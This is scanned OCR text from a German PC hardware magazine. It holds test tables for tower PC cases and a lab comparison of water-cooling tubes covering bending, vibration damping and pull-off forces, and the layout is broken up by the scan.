Mainboardhalterung, werkzeuglose Laufwerksbefestigung, | ausgánge, Deckel kann entfernt werden (Air Cover), drei- |Staubschutz an der Front und im Deckel mit Druck- 
EATX-Erweiterung montierbar, Grafikkartenhalterung (drei |stufige Lüftersteuerung, Staubschutz an Front und Boden, | тесһапіѕтиѕ, Wakü-Schlauchausgänge, werkzeuglose 
mitgeliefert), Staubschutz am Boden, Kabelführungs- Kabelführungssystem (Klettverschlüsse) Laufwerksbefestigung, Netzteilkammer, Grafikkarten- 
system (Klettverschlüsse) halterung, zweistufige Lüftersteuerung, Staubschutz an 

Front und Boden 

Eigenschaften (20 %) 1,49 1,75 2,01 

Material (nicht gewertet) Stahl, Glas und Kunststoff Stahl und Kunststoff Stahl und Kunststoff 

Gewicht (nicht gewertet) 14,0 kg 9,9 kg 8,5 kg 

Abmessungen (H x B x T)/Volumen 56,5 x 25,0 x 52,5 cm/74,16 Liter 49,5 x 20,7 x 52,5 cm/53,8 Liter 45,0 x 21,0 x 51,6 cm/48,8 Liter 

Platz für Grafikkarte/CPU-Kühler 41,0/17,5 cm 42.5/16,5 cm 43,0/16,0 cm 

Verarbeitung allgemein/Schnittkanten/ Gut/sehr gut/sehr gut Gut/sehr gut/gut Befriedigend/gut/gut 


Zusammenbau * 


Sehr gut (sehr viel Platz beim Einbau, da alle Festplatten- 
käfige sowie die RGB-beleuchtete Halterung für zwei 
2,5-Zoll-Laufwerke entfernt werden kónnen/EATX- 
Erweiterung für sehr breite Platinen) 


Sehr gut (sehr viel Platz beim Einbau, da die 
3,5/2,5-Zoll-Festplattenkäfige entfernt werden können/ 
ausreichend Platz für lange Netzteile/einfacher Anschluss 
der Lüfter an die Lüftersteuerung) 


Sehr gut (sehr viel Platz beim Einbau, da sich die Lauf- 
werkskäfige in der Netzteilkammer befinden/nützliche 
Aussparung für Kabel in der Netzteilkammer/Grafikkarten- 
halterung kann verschoben oder demontiert werden) 


Besonderheiten beim Zusammenbau 


Festplattenkäfig herausnehmbar/Laufwerkshalterungen 
auf der Rückseite demontierbar, Hecklüfter für Wakü 
verschiebbar, Aussparung hinter dem Sockel, Aussparung 
für Kabeldurchführungen, Kabelmanagement auf der 
Rückseite, mäßige Entkoppelung der HDDs 


Festplattenkäfig herausnehmbar, Laufwerkshalterungen 
auf der Rückseite demontierbar, Aussparung hinter dem 
Sockel, Aussparung für Kabeldurchführungen, Lüftersteu- 
erung (drei Stufen), Kabelmanagement auf der Rückseite, 
sehr gute Entkoppelung der HDDs 


2,5-Zoll-Laufwerkshalterungen auf der Rückseite de- 
montierbar, Aussparung hinter dem Sockel, Aussparung 
für Kabeldurchführungen, Lüftersteuerung (zwei Stufen), 
Kabelmanagement auf der Rückseite, sehr gute Entkop- 
pelung der HDDs 


Praxisprobleme 


Keine Probleme 


Keine Probleme 


Keine Probleme 


vorne (45-Grad-Winkel) 


FAZIT 
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© Temperatur CPU und Innenraum 
© Leise Lüfter, gute Dämmung durch Glas-Seitenteile 


© Ausstattung: keine Lüftersteuerung 


Wertung: 2,18 


Kompatibilitätstest XL-ATX passt nicht Extended und XL-ATX passen nicht XL-ATX passt nicht 

Leistung (60 %) 2,32 2,55 2,62 

Temperatur CPU 66 °C 70°C 65°С 

Temperatur GPU (Lüfterdrehzahl, Takt) 69 °C (2.040 U/Min, 1.835 MHz 71 °C (2.095 U/Min, 1.848 MHz) 71 °C (2.070 U/Min, 1.835 MHz) 
Temperatur Innenraum Geháuse/M.2-SSD 32 °C/48 °C 39 *C/54 °С 37 *C/49 °C 

Lautheit der Lüfter, 50 cm Abstand frontal/schrág |1,7/1,8 Sone 1,8/1,8 Sone 2,2/2,1 Sone 


© Leise Lüfter dank Dämmung 
© Funktionale Ausstattung 
© Kühlung von CPU und GPU 


Wertung: 2,46 


© Umfangreiche Ausstattung 
© Kühlung von CPU und GPU 
© Lautheit der Lüfter 


Wertung: 2,50 
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der Unterseite mit vier Rollen ver- 
sehene Innenraum herausgezogen 
werden kann. Ungewöhnlich sind 
auch die drei 2,5-Zoll-Laufwerks- 
halterungen, an denen SSDs/HDDs 
vertikal angeschraubt werden. Eine 
weitere  Befestigungsmöglichkeit 
für je zwei 3,5/2,5-Zoll-Laufwerke, 
die alternativ durch zwei 120-mm- 
Lüfter ersetzt werden können, ist 
vorne links positioniert. Die Lüfter- 


bestückung des Project S gestaltet 
sich einfach, denn die drei 120-mm- 
Lüfter werden direkt an der rech- 
ten Innenseite der Schublade ange- 
bracht. Leider liefert Nanoxia das 
Project S nur mit einem Hecklüfter 
aus, ansonsten fällt die Aussattung 
mit magnetischem Staubschutz, ei- 
ner RGB-Frontbeleuchtung sowie 
einem Kabelführungssystem mit 
Klettverschluss ordentlich aus. 


Das Fehlen weiterer Lüfter im Aus- 
lieferungszustand wirkt sich auf die 
Kühlung aus. Die CPU-Temperatur 
liegt bei 70 °C und die GPU wird mit 
76 °C besonders warm. Das ist auch 
der Grund für die mit 1,9/2,3 Sone 
höchste Lautheitsentwicklung im 
Test. Der Lüfter der GTX 1070 dreht 
hörbar auf, um den Takt bei erhöh- 
ter Innenraumtemperatur von 45 °C 
halten zu können. (fs) 


Fazit Нагйшаге 


Neue Midi- und Big-Tower 

Die neue Gehäusegeneration leistet sich 
weder bei der Kühlung, noch bei der Ge- 
räuschkulisse Ausfälle. Das Bitfenix Sho- 
gun und das Nanoxia Project S punkten 
mit Sonderausstattung und einer wertigen 
Fertigung. Preisbewusste treffen mit dem 
Chieftec Gaming GP-01B, Sparfüchse mit 
dem Sharkoon S25-W die richtige Wahl. 


GEHÄUSE: 
MIDI- UND BIG-TOWER 


Auszug aus Testtabelle 
mit 39 Wertungskriterien 


Gehäuse 
Hersteller (Webseite) 


Carbide 270R 


Corsair (www.corsair.com) 


SPAR-TIPP 


Sharkoon 
525-1 


Hardware 


S25-W 
Sharkoon (http://de.sharkoon.com) 


Project S 
Nanoxia (www.nanoxia-world.com) 


Link zum PCGH-Preisvergleich 


www.pcgh.de/preis/1541450 


www.pcgh.de/preis/1514715 


www.pcgh.de/preis/150261 1 


Preis/Preis-Leistungs-Verháltnis (getestete Version) 


Ca. € 80,-/befriedigend bis gut (Seitenfenster/keine 


Ca. € 50,-/sehr gut (Seitenfenster/keine Dämmung) 


Ca. € 235,-/ausreichend (Seitenteil/Deckel aus Glas/keine 


Heck: 1x 120 mm, Seite: -, Boden: - 


Dämmung) Dämmung) 
Version ohne Fenster/ohne Dämmung Ca.€ 70,-/nicht vorhanden Ca. € 40,-/nicht vorhanden Nicht vorhanden/nicht vorhanden 
Ausstattung (20 %) 4,04 3,88 3,07 
Plätze für Laufwerke 2 x 3,5/2,5 Zoll, 2 x 2,5 Zoll 2 x 5,25 Zoll oder 1x 3,5 Zoll und 2 x 2,5 Zoll, 2 x 2x3,5/2,5 Zoll, 3 x 2,5 Zoll 

3,5/2,5 Zoll, 4 x 2,5 Zoll 

Erweiterungs-Slots (Blende) Sieben Sieben Sieben 
Handbuch Sehr ausführlich Normal Sehr ausführlich 
Lüfterplátze Deckel: 2 x 140/120 mm, Front: 2 x 140/3 x 120 mm, Deckel: 2 x 140/3 x 120 mm, Front: 2 x 140/120 mm, Deckel(rechte Seite): 3 x 120 mm, Front: 2 x 140/120 mm, 


Heck: 1 x 120 mm, Seite: -, Boden (auf der Netzteil- 
kammer: 1 x 120 mm 


Heck: 1 x 120 mm, Seite: -, Boden (linke Seite): 2 x 
120 mm 


Vorhandene Lüfter 


1x 120 mm (Front, beleuchtet), 1x 120 mm (Heck) 


2 x 120 mm (Front), 1x 120 mm (Heck, beleuchtet) 


1x 120 mm (Heck) 


Frontanschlüsse 


2 x USB 3.0, Audio 


2 x USB 3.0, Audio 


2x USB 3.0, 1x USB 3.1, Audio 


Besonderheiten 


Seitenfenster, beleuchtete Lüfter., SSD-Montage auf 
Rückseite der Mainboardhalterung, Netzteilkammer, 
Staubschutz an Front und Boden 


Seitenfenster, beleuchteter Lüfter, SSD-Montage auf 
Rückseite der Mainboardhalterung, Netzteilkammer, 
magnetischer Staubschutz für den Deckel, Staubschutz an 
Front und Boden 


Seitenfenster (Deckel) aus Glas, RGB-Frontbeleuchtung, 
Mainboardschlitten als Schublade, SSD-Montage auf der 
Innenseite der Mainboardhalterung, Staubschutz mit 
Mechanismus an der Front, magnetischer Staubschutz für 
beide Seiten (Boden/Deckel), Kabelführungssystem (Klett- 
verschlüsse), Staubschutz an Front und Heck, 
magnetischer Staubschutz für den Hecklüfter 


Nerwindungssteifheit 


Eigenschaften (20 %) 2,03 2,33 1,59 

Material (nicht gewertet) Stahl und Kunststoff Stahl und Kunststoff. Aluminium, Stahl und Glas 
Gewicht (nicht gewertet) 7,3 kg 6,5 kg 11,7 kg 

Abmessungen (H x B x T)/Volumen 46,0 x 21,0 x 50,9 cm/49,16 Liter 46,5 x 21,0 x 45,0 cm/43,9 Liter 49,0 x 25,0 x 42,3 cm/51,8 Liter 
Platz für Grafikkarte/CPU-Kühler 37.0/17,0 cm 40.0/16,7 cm 40,0/17,0 cm 

Verarbeitung allgemein/Schnittkanten Gut/gut/sehr gut Gut/gut/gut Sehr gut/sehr gut/sehr gut 


Zusammenbau * 


Gut (ausreichend Platz für den Einbau der Platine und 
der GPU/Aussparung für Kabel in der Netzteilkammer 
hilfreich) 


Gut (genug Platz für den Einbau der Platine und der GPU/ 
Aussparung zum Durchführen der Kabel in der Netzteil- 
kammer hilfreich/wenig Platz für Netzteileinbau) 


Sehr gut/sehr viel Platz, da die drei 2,5-Zoll-Laufwerks- 
halterungen mit zwei Schrauben ausgebaut werden 
können/sehr einfache Montage aller Komponenten dank 
des Schubladensystems für den Innenraum (Mainboard- 
halterung) 


Besonderheiten beim Zusammenbau 


Laufwerkshalterungen auf der Rückseite demontierbar, 
Hecklüfter für Wakü verschiebbar, Aussparung hinter dem 
Sockel, Aussparung für Kabeldurchführungen, mäßige 
Entkoppelung der HDDs 


Laufwerkshalterungen auf der Rückseite demontierbar, 
Aussparung hinter dem Sockel, Aussparung für Kabel- 
durchführungen, mäßige Entkoppelung der HDDs 


2,5-Zoll-Laufwerkshalterungen demontierbar, Schubladen- 
system für Innenraum, Aussparung hinter dem Sockel, 
Aussparung für Kabeldurchführungen, sehr gute Ent- 
koppelung der HDDs 


Praxisprobleme 


Keine Probleme 


Mittel (aufgrund eines Falz an der obersten Slot-Blende 
können das HDMI- oder DP-Kabel nicht komplett einge- 
steckt werden, wenn die Grafikkarte festgeschraubt ist) 


Keine Probleme 


Kompatibilitätstest 


Extended und XL-ATX passen nicht 


Extended und XL-ATX passen nicht 


XL-ATX passt nicht 


vorne (45-Grad-Winkel) 


FAZIT 
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© Kühlung von CPU und GPU 
© Leise Lüfter trotz fehlender Dämmung 


© Wenig Ausstattung (u. a. keine Lüftersteuerung) 


Wertung: 2,64. 


Leistung (60 %) 2,37 2,33 2,91 

Temperatur CPU 66 °C [3] 96 70 °C 

Temperatur GPU (Lüfterdrehzahl, Takt) 71 °C (2.080 U/Min, 1.848 MHz) 72,0 °C (2.095 U/Min, 1.835 MHz) 76 °С (2.260 U/Min, 1.835 MHz) 
Temperatur Innenraum Gehàuse/M.2-SSD 37 °С/52 °C 43 °C/50 °C 45 °C/51 °C 

Lautheit der Lüfter, 50 cm Abstand frontal/schrág |1,6/1,8 Sone 1,4/1,6 Sone 1,9/2,3 Sone 


© Preis im Verhältnis zur Ausstattung/Leistung 
© Sehr leise Lüfter 
© Problem mit Anschluss von HDMI/DP-Kabel 


Wertung: 2,64 


© Sonderausstattung (Schublade/kein Plastik) 
© Ordentliche Kühlung trotz Kühler-Minimalbestückung 
© GPU wird zu warm/Innenraumtemperatur 


Wertung: 2,68 


www.pcgameshardware.de 


* System: Intel Core i7-6700K, Intel 2170, Gigabyte Geforce GTX 1070 OC Edition (83 Grad Temp-Target), 2 x 8 GiByte DDR4-2133-RAM, Themalright AXP-100 (Q-Fan-Profil: Standard), Corsair Corsair RM 550X/550 Watt (ATX), Umgebungstemperatur: 24 °C 


The Division Beta, 


è 10:50 e 643 
The Division (Ge 
The Division im Vi 
NC 1. X Wir vergleichen anf 
кж k X ж @ 03:32 © 787 
D The Division Beta, ТЇ 
Der Beta-Test von Thé 
wurder verlängert, The 
ra 10:50 @ 643 
4 Ў Marvel Heroes 2016: Lab 
Marvel Heroes 2016 steht 
Download bereit. Passend 


+ 


Mit eigenem 
Pokémon-Go- 
Kanal 


Über 20.000 Videos 
in der Datenbank! 


News-Show! 


Täglich brandheiBe 
Gaming-Clips für PS4, Xbox 
One, Wii U, PC und Mobile | 


Tägliche & wöchentliche 


Die besten Kino-Trailer | 


d 


, 


» 


DAS SAGEN 
DIE USER: 


»Wunderbar! Habt ihr | 
gut gemacht!« 


»Top! Weiter so 
und danke!« 


»Super App für 
Videospielfans. :-)« 


»Mein eigenes 
Spielefernsehen! 
Informativ, 
übersichtlich 
und kompetent 
aufbereitet.« 


Erhältlich im 


G€ AppStore | 


JETZT BEI 


Google Play 
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ehr als nur Az verbinden — wir prüfen 22 iedliche Schlauchtypen und 
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ы 
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Е ГЕС Š 

di ionen praxisnah im Testlabor. 

7 b. ч 


— b 7. 


Wir ermitteln den minimalen Durchmesser, den der Schlauch in einer 
180-Grad-Biegung zulässt, ohne dabei durch Instabilität einzuknicken. 


Die weit verbreiteten Produkte von Mas- 
terkleer oder Tygon (Saint-Gobain) gibt es | 
in allen gängigen Schlauchdurchmessern. 
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omponenten zu verbinden, 

klingt erst einmal einfach - 
unterschiedlichste Varianten und 
Größen erschweren dennoch die 
Wahl des richtigen Schlauches. 
Dabei stellen subjektive Eindrü- 
cke wie Klarheit und Farbecht- 
heit bei vielen Wasserkühlungs- 
nutzern Hauptauswahlkriterien 
dar, denn erst mit kristallklarem 
Schlauch und farbigem Fluid trägt 
eine Wasserkühlung auch dem 
Casemodding-Aspekt ausreichend 
Rechnung, wie unser Aufmacher 
beweist. Dabei muss ein Schlauch 
viel mehr können als nur gut aus- 
zusehen - kleine Biegeradien, eine 
gute Medienverträglichkeit und 
Haltbarkeit sowie sicherer Halt auf 
Anschlüssen gehören unter ande- 
rem dazu. Neben der subjektiven 
Einordnung versuchen wir in un- 
serem Test daher auch objektive 
Messwerte zu erfassen, um dem 
geneigten Käufer die Auswahl zu 
erleichtern. 


Schlauchchemie 

Die meisten Kunststoffe im Alltag 
entspringen der Gruppe der Ther- 
moplaste. Hierzu zählt auch Poly- 
vinylchlorid (Kurzzeichen PVC), 
aus welchem Wasserkühlungs- 
schläuche in der Regel hergestellt 
werden. Dabei handelt es sich um 
einen günstigen, warmformba- 
ren Werkstoff, der in seiner Rein- 
form bei Raumtemperatur jedoch 
spröde ist. Erst durch den Einsatz 
von Weichmachern und Stabilisa- 
toren wird der Kunststoff weich 
und beständig transparent. Eine 
zweite Gruppe bilden Schläuche 
aus — Ethylen-Propylen-Dien-Kaut- 
schuk. Der Werkstoff fällt unter 
die Gruppe der Elastomere, die 
Formgebung erfolgt unter höhe- 
rem Aufwand durch Vulkanisation. 
Vorteile hieraus ergeben sich bei 
den Eigenschaften - der Werkstoff 
bleibt auch bei Raumtemperatur 
elastisch, ohne möglicherweise 
problematische Zusatzstoffe zu 
benötigen. Schlauchhersteller wie 
Tygon oder EK Water Blocks bieten 
entsprechende Produkte mit guter 
Medienverträglichkeit an. 


Langzeithaltbarkeit 

Die genannten Weichmacher in 
PVC-Schläuchen 
durch Wasser nicht ausgewaschen 


können zwar 


werden, sind aber gegenüber orga- 


nischen Lösemitteln löslich. Glykol 
als Trägermedium für Korrosionsin- 
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hibitoren ist Hauptbestandteil vie- 
ler Konzentrate und Fertigmischun- 
gen und wirkt in ausreichender 
Konzentration auch als Lösemittel 
auf Schlauchadditive. Ein Verfärben 
der Schläuche ist zwar erst einmal 
nicht weiter tragisch, jedoch fallen 
die gelösten Additive im Fluid über 
kurze Zeit aus und führen so im 
schlechtesten Fall zur Verstopfung 
moderner Düsenkühler. Eigentlich 
müssten Nutzer also beim Einsatz 
eines Großteils der verfügbaren 
Konzentrate und Fertigmischun- 
gen vorsichtig vorgehen, aber nur 
Primochill weist explizit auf die 
Unverträglichkeit hin beziehungs- 
weise schließt glykolbasierte Fluide 
aus. Wir empfehlen generell, die 
Wasserkühlung mit geringsten Gly- 
kolmengen zu betreiben. Bei kor- 
rosionsunkritischen Metallkombi- 
nationen, wie etwa Kupfer/Nickel/ 
Messing, sind deutlich niedrigere 
Konzentrationen als von den Fluid- 
herstellern angegeben ausreichend. 
Dabei bleibt die Kühlflüssigkeit 
über mehrere Jahre stabil und die 
Geschwindigkeit, mit der Weichma- 
cher und Additive aus PVC-Schläu- 
chen ausgewaschen werden, wird 
deutlich verringert. 


Testfeld 

Für unseren Vergleich bestellen wir 
die drei gängigen Schlauchgrößen 
11/8, 13/10 und 16/10 mm Außen-/ 
Innendurchmesser ins Labor. Klei- 
nere Größen wie 8/6-mm-Schläu- 
che gehören eher der Vergangen- 
heit an, größere Dimensionen wie 
16/13 oder 19/13 mm fallen noch in 
den Bereich Randerscheinungen. 
Um auch dem optischen Gedanken 
einer Wasserkühlung Rechnung zu 
tragen, berufen wir generell klare, 
farblose Schläuche ein. Das trifft 
auf alle Testkandidaten mit Ausnah- 
me der Elastomerschläuche zu, wel- 
che materialbedingt opak schwarz 
in Erscheinung treten. Bereitge- 
stellt werden uns Schläuche und 
Anschlüsse von den beiden Wasser- 
kühlungsexperten Aquatuning und 
Caseking. 


Wertungskriterien 

Die Langzeithaltbarkeit und Medi- 
enverträglichkeit erfordern Tests 
über einen Zeitraum von mehre- 
ren Monaten und sind heute nicht 
Teil der Wertung. Wir widmen uns 
stattdessen den mechanischen Ei- 
genschaften wie dem Biegedurch- 


messer einer 180-Grad-Schlaufe, 


Schlauchdämpfung vermessen 


Wasserkühlungspumpen geben bauartunabhängig Vibrationen ab. 
Schläuche können diese ungewollten Schwingungen trotz optimaler 
Pumpenentkopplung an Kühler oder andere Komponenten weiterleiten. 


Diesem Phänomen gehen wir nach, indem wir die Dämpfungsleistung der getes- 
teten Schläuche vergleichen und in unsere Bewertung einfließen lassen. Unser 
Testaufbau besteht hierfür aus einem kleinen Musterkreislauf: Eine Laing DDC ro- 
tiert mit rund 4.100 Umdrehungen pro Sekunde und überträgt ihre Schwingungen 
über einen 10 cm langen Schlauchabschnitt direkt auf einen Watercool Heatkiller 


3.0. Der Kreislauf schließt sich mit je 0,5 m 


angen Sch 


auchstücken im Ausgleichs- 


behälter. Um die resultierenden Vibrationen am Kühler selbst zu messen, stellen 


wir diesen aufrecht auf einer weichen Unter 
sen-Beschleunigungssensor (MPU-6050), de 
Für zehn Sekunden ermitteln wir so jede Mil 


in axialer Richtung des Schlauchs (Z-Achse, vgl. Bild un 
er Beschleunigungswerte über die Zeit 
lässt bereits eine Einordnung der Dämpfungseigenscha 


frei schwingen kann. Ein einfacher Auftrag d 


age auf un 
n wir mitte 
isekunde e 


die Bewertung mitteln wir den absoluten Be 
den gesamten Zeitraum. 


Unser Test zeigt eine klare Hierarchie: Gegenüber der 


d befestigen einen 3-Ach- 
s Raspberry Pi 3 auslesen. 
inen Beschleunigungswert 
en), in welcher der Kühler 


t zu (siehe Diagramm), für 


rag der Sensorbeschleunigung über 


egativ-Referenz im Testfeld 


(Tygon R6012 Norprene) zeigt EK Water Blocks ZMT-Tubing 40 Prozent niedrigere 
Beschleunigungen — wie der Norprene ebenfalls ein Elastomerschlauch. Bei den 
PVC-basierten Schläuchen stellt sich durchweg ein besseres Dämpfungsverhalten 
ein. Spitzenreiter ist dabei der Tygon E3603, der gegenüber der Referenz bis zu 
80 Prozent bessere Dämpfung erreicht. Generell übertragen erwartungsgemäß 
Schläuche mit niedriger Querschnittsfläche weniger Schwingungen, sodass sich 
bezüglich der Dimension schlauchübergreifend die Rangfolge 11/8, 13/10 und 
16/10 mm ergibt. Für alle Ergebnisse empfehlen wir einen Blick in die Testtabelle. 


Ein Wor 


am Schluss: So klar sich die Testkandidaten in unserem Szenario unter- 


scheiden, gelten im Realeinsatz jedoch meist andere Randbedingungen als bei 
unseren theoretischen Betrachtungen. Dabei gilt es zu bedenken, dass größere 


Schlauchlängen, wie sie üblicherweise im realen Aufbau im Desktopgehäuse zum 
Einsatz kommen, eine deutlich bessere Dämpfungscharakteristik aufweisen und so 
für ähnliche Ergebnisse unabhängig des eingesetzten Schlauchs sorgen. Besonders 
Nutzer kompakter Gehäuse und kurzer Schlauchlängen sollten aber bei der 
Schlauchwahl auf die Dämpfung achten. 


Sensorbeschleunigung [m/s?] 


№ 14 T ТТ y 


E Norprene 16/10 8 Masterkleer 16/10 Wi Tygon E3603 16/10 


1,5 


Zeit [s] 


02/17 | PC Games Hardware 


79 


INFRASTRUKTUR | Schläuche für Wasserkühlung 


Abzugskräfte 


XSPC Highflex 
Tygon E3603 
EK Water Blocks ZMT 


Produkt 11/8 mm | 13/10 mm | 16/10 mm 
An Tülle An Schrauban- An Tülle An Schrauban- An Tülle An Schrauban- 
Typ 1 schluss Typ 1/2 Typ 1/2 schluss Typ 1/2 Typ 1/2 schluss Typ 1/2 
PrimoFlex ALRT - - 
Clearflex60 
Masterkleer PVC 
Noname PVC - 


Mayhems Ultra Clear 


Alphacool HF 


Raitubo-T3 PVC 
Tygon R6012 Norprene 
Bemerkungen: Anschraubanschluss Typ 1/2 - 


P sehr hohe Kraft notwendig E mittlere bis 


>50/>50 N* 
11/8: BitsPower/Noname; 13/10: Alphacool Eiszapfen/Monsoon; 16/10: AquaTuning gerándelt/EK 


Water Blocks EK-ACF Fitting; Tülle Тур 1/2 - 11/8: Aquatuning 8 mm; 13/10 & 16/10: Alphacool HF FatBoy 10 mm/XSPC 10 mm 
hohe Kraft notwendig Bii geringe Kraft notwenig 
* keine Bewertung - Schlauch reiBt aufgrund der Kerbwirkung unserer Lasteinleitung (Metallstift durch Schlauch) an Einspannung aus. 


Abzugskräfte bestimmen 


Ein Abrutschen des Schlauchs vom Anschluss im 
laufenden Betrieb — ein Horrorszenario für jeden 


Wasserkühlungsnutzer. 


Möglichst hohe Abzugskräfte zählen als wichtiger Sicher- 
heits-Aspekt eines Schlauchs (und des korrespondierenden 
Anschlusses). Um die Abzugskräfte vergleichen zu können, 
nutzen wir einen einfachen Prüfstand: Mithilfe der Gewichts- 
kraft bestimmen wir durch einen mit Wasser gefüllten Eimer 
diejenige Kraft am Schlauch, die notwendig ist, um diesen 
komplett vom Anschluss abzuziehen. Unmöglich können 


wir dabei alle Kombinationen von Anschl 


berücksichtigen. Daher reduzieren wir die Auswahl auf je zwei 


gängige Anschlüsse mit Überwurfmutter, 
sowie zwei Anschlusstüllen je Schlauch- 
dimension — es verbleiben über 80 Kom- 
binationen, die wir jeweils mit einem 
unbenutzten Schlauchstück prüfen. 


Da wir unterschiedliche Anschlüsse für 
die variierenden Schlauchdurchmesser 


einsetzen, sind die Ergebnisse größen- 
übergreifend nur bedingt vergleichbar. 
Einzige Ausnahme hierbei bilden 

die Werte für Tüllen bei 16/10- und 


13/10-mm-Schlauch, da hier identische 
Tüllen eingesetzt werden können. 
Gegenüber den Tests mit Tüllen sind die 
Test mit Überwurfmutter-Anschlüssen 
bedingt reproduzierbar. Grund hierfür ist 
das Anzugsmoment der Überwurfmutter, 
das in unseren Tests einen signifikanten 
Einfluss auf die Abzugskraft hat. Dies 
können wir jedoch nicht messtechnisch 
erfassen und so absolut identisch ein- 
stellen — dennoch bemühen wir uns, die 
Anschlüsse so vergleichbar wie per Hand 
móglich festzuziehen. 


Dass ein Hersteller die Kombination 
aus Schlauch und Anschluss aufeinan- 
der abstimmt, zeigt XSPC: Auf den 
eigenen 10-mm-Tüllen zeigt der High- 
flex-Schlauch gegenüber den anderen 
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erreicht in unserem 


Anschlüssen herausstechende Werte. 13/10-mm-Schlauch 


est generell die hóchsten Abzugskráfte 


auf Tüllenanschlüssen und übersteigt dabei teilweise gar die 
100-N-Grenze unseres Testaufbaus. Grund ist die elastische 


Verformung des Sch 


Wandstárke schlech 


üssen am Markt insbesondere bei Tü 


auchs, die ein Verklemmen auf den 


Ringzacken der Tüllen zur Folge hat. Der 16/10-mm-Schlauch 
kann diesen Effekt aufgrund seiner größeren Eigensteifigkeit/ 


er abbilden. Anschlüsse mit Überwurfmut- 


ter weisen allgemein eine deutlich gróBere Sicherheit gegen 
Abrutschen auf als ungesicherte Tüllen. Unser Test zeigt: Nebst 
Schlauch kommt es auch auf den Anschlusstypen an, weshalb 


len eine Abstimmung auf den favorisier- 


ten Schlauch durchaus sinnvoll sein kann. 


den wir in 0,5-cm-Schritten bis 
zum sichtbaren Einknicken des 
Schlauchs reduzieren. Auch den 
sicheren Halt auf Anschlüssen 
ermitteln wir nebst der Dämp- 
fungsleistung der Schläuche. Aus- 
führliche Informationen zu den 
Testverfahren finden sich in den 
beiden Extrakästen. Die optischen 
Eigenschaften bemustern wir üb- 
rigens unmittelbar nach Eintreffen 
an unbenutzten Schlauchstücken. 


Das Beste 

Primochills Schlauch Primoflex 
Advanced LRT kann sich grö- 
ßenunabhängig die vordersten 
Plätze sichern. Dabei vereint der 
PVC-Schlauch das Beste aus vielen 
Welten: Die sehr gute Transparenz 
zeigt sich ohne jeglichen Farb- 
stich. Die Dämpfungswerte sowie 
Abzugskräfte liegen auf hohem 
Niveau und kombinieren dies mit 
engen Biegeradien - im 16/10-mm- 
Format ermitteln wir mit 5,5 cm zu- 
dem den geringsten Biege-Außen- 
durchmesser im gesamten Testfeld. 
Hervorzuheben ist abschließend 
auch eine sehr gute Verarbeitbar- 
keit beim Ablängen durch einen 
Schlauchschneider. Hier gelingen 
mit geringer Kraft schöne, grat- 
freie Schnittkanten. Einzig der 
vergleichsweise hohe Preis stört 
etwas, scheint dem rundum positi- 
ven Gesamtpaket aber angemessen. 


Die Soliden 

Masterkleers PVC-Schlauch ist 
unter Casemoddern nicht ohne 
Grund beliebt, die neue BPA-freie 
Version ist in unserem Testfeld der 
klarste Schlauch. Preislich ordnet 
sich der Schlauch im oberen Drittel 
ein und bietet eine Verfügbarkeit 
in allen getesteten Größen, was er 
mit den beiden Tygon- und dem 
Clearflex-Schlauch gemein hat. Die 
Leistungen sind dabei durchweg 
als gut einzustufen. Der Alphatu- 
be HF tritt optisch mit diffusem 
Charakter und blauem Farbstich 
schwächer auf, kann ansonsten 
aber solide Leistungen vorweisen 
und ist bislang nur mit 13 mm 
Außen- und 10 mm Innendurch- 
messer erhältlich. Hinter dem 
E3603-,Tygon“-Schlauch steckt der 
Werkstoffriese Saint-Gobain. Der 
Nachfolger des legendären R3603 
verzichtet mit neuer Rezeptur und 
Lebensmittelzertifizierung auf das 
umstrittene — Bisphenol-A-Additiv 
und gibt sich äußerst weich. Das 
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kommt insbesondere der Schwin- 
gungsübertragung zugute, wo der 
Schlauch im Testfeld führend ist. 
Beim Biegedurchmesser und bei 
den Abzugskräften fällt er in der 
Folge aber ins immer noch solide 
Mittelfeld zurück. Die Substitution 
günstiger Weichmacher fordert 
auch beim Preis Tribut, der im Falle 
des 16/10-mm-Schlauchs gar zwei- 
stellige Werte pro Schlauchmeter 
erreicht. XSPC Highflex erscheint 
verglichen mit dem Tygon E3603 
diffus mit ausgeprägtem Gelb-/ 
Orangestich, bei den mechani- 
schen Eigenschaften befinden sich 
die Schläuche auf Augenhöhe. Die 
Abzugskräfte lassen jedoch vermu- 
ten, dass XSPC den Schlauch auf die 
hauseigenen Tüllen abgestimmt 
hat. Liegen die Abzugskräfte mit 
den Alphacool-Tüllen noch auf 
vergleichsweise niedrigem Niveau, 
fallen sie mit der hauseigenen Vari- 
ante deutlich höher aus. Der Preis 
von vier Euro wirkt angesichts der 
Leistung fair. Mayhems 16/10-,Ultra 
Clear“-Schlauch erscheint optisch 
diffus und weist einen Violettstich 
auf, was den Produktnamen etwas 
deplatziert erscheinen lässt und 
den Schlauch für Optikfetischisten 
zur ungünstigen Wahl macht. An- 
sonsten handelt es sich aber auch 
hier um ein solides Produkt zum 
guten Wechselkurs. 


Die Besonderen 

Tygon R6012 Norprene entledigt 
sich aufgrund seiner Elastomerba- 
sis der Weichmacher-Problematik 
und eignet sich daher besonders 
für Langzeitnutzer. Zum selben 
Schlauchtypus zählt auch EK Water 
Blocks ZMT-Schlauch (die Abkür- 
zung für Zero Maintainance Tu- 
bing - also dauerhafte Wartungs- 
freiheit). Die Schlauchchemie als 
Elastomer kommt beiden Deriva- 
ten bei der Medienverträglichkeit 
und Dauerstabilität zugute, wobei 
das Produkt von EK Water Blocks 
sich sonst deutlich vom Norprene- 
Schlauch abhebt und das Niveau 
guter PVC-Schläuche erreicht, aber 
leider nur als 16/10-mm-Schlauch 
verfügbar ist. Für die kleineren 
Größen ist der Griff zum Tygon-De- 
rivat somit unumgänglich. Hierbei 
sollten Sie sich aber in jedem Fall 
für Anschraubtüllen entscheiden, 
da der Schlauch die niedrigsten 
Abzugskräfte im Feld aufweist. Zu- 
sätzlich müssen deutlich größere 
Biegeradien und eine schlechte 
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Dämpfung in Kauf genommen wer- 
den. Ein weiterer Spezialist im Test 
ist Raijinteks Raitubo-T3, der eben- 
falls eine recht hohe Steifigkeit 
aufweist, was für geringere Anteile 
an Weichmachern im Kunststoff 
spricht. Darunter leidet zwar die 
Flexibilität und damit der minima- 
le Biegedurchmesser, gleichzeitig 
eröffnen sich in Verbindung mit 
einem verhältnismäßig kleinen In- 
nendurchmesser aber Vorteile bei 
der Haftung auf Tüllen-Anschlüs- 
sen. Etwas Kraftaufwand bei der 
Montage ist dabei vonnöten, die 
Demontage ist ohne einen geziel- 
ten Schnitt entlang des Anschlusses 
kaum mehr möglich - das macht 
ihn im Testfeld zum Schlauch mit 
der höchsten Sicherheit gegen Ab- 
rutschen auf ungesicherten Tüllen. 


Für Sparfüchse 

